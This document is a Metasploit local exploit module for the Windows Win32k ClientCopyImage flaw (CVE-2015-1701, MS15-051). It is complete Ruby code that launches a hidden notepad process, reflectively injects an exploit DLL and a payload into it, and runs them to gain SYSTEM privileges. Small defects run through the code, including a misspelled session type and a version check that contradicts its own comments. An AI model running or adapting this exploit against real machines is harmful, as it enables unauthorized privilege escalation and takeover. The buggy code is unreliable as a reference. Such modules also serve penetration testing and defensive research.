Microsoft Windows – ClientCopyImage Win32k (MS15-051) (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'Windows ClientCopyImage Win32k Exploit', 'Description' => %q{ This module exploits improper object handling in the win32k.sys kernel mode driver. This module has been tested on vulnerable builds of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # vulnerability discovery and exploit in the wild 'hfirefox', # Code released on github 'OJ Reeves' # msf module ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'win', 'SessionTypes' => [ 'metrepreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2015-1701'], ['MSB', 'MS15-051'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'], ['URL', 'https://github.com/hfiref0x/CVE-2015-1701'], ['URL', 'https://technet.microsoft.com/library/security/MS15-051'] ], 'DisclosureDate' => 'May 12 2015', 'DefaultTarget' => 0 })) end def check # Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work) # Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works) # Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works) # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works) if sysinfo['OS'] !~ /windows/i return Exploit::CheckCode::Unknown end if sysinfo['Architecture'] =~ /(wow|x)64/i arch = ARCH_X86_64 elsif sysinfo['Architecture'] =~ /x86/i arch = ARCH_X86 end file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") return Exploit::CheckCode::Safe if build == 7601 return Exploit::CheckCode::Detected end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if sysinfo['Architecture'] =~ /wow64/i fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Metrepreter::RequestError # Reader Sandbox won't allow to create a new process: # stdapi_sys_process_execute: Operation failed: Access is denied. print_status('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") if target.arch.first == ARCH_X86 dll_file_name = 'cve-2015-1701.x86.dll' else dll_file_name = 'cve-2015-1701.x64.dll' end library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name) library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end |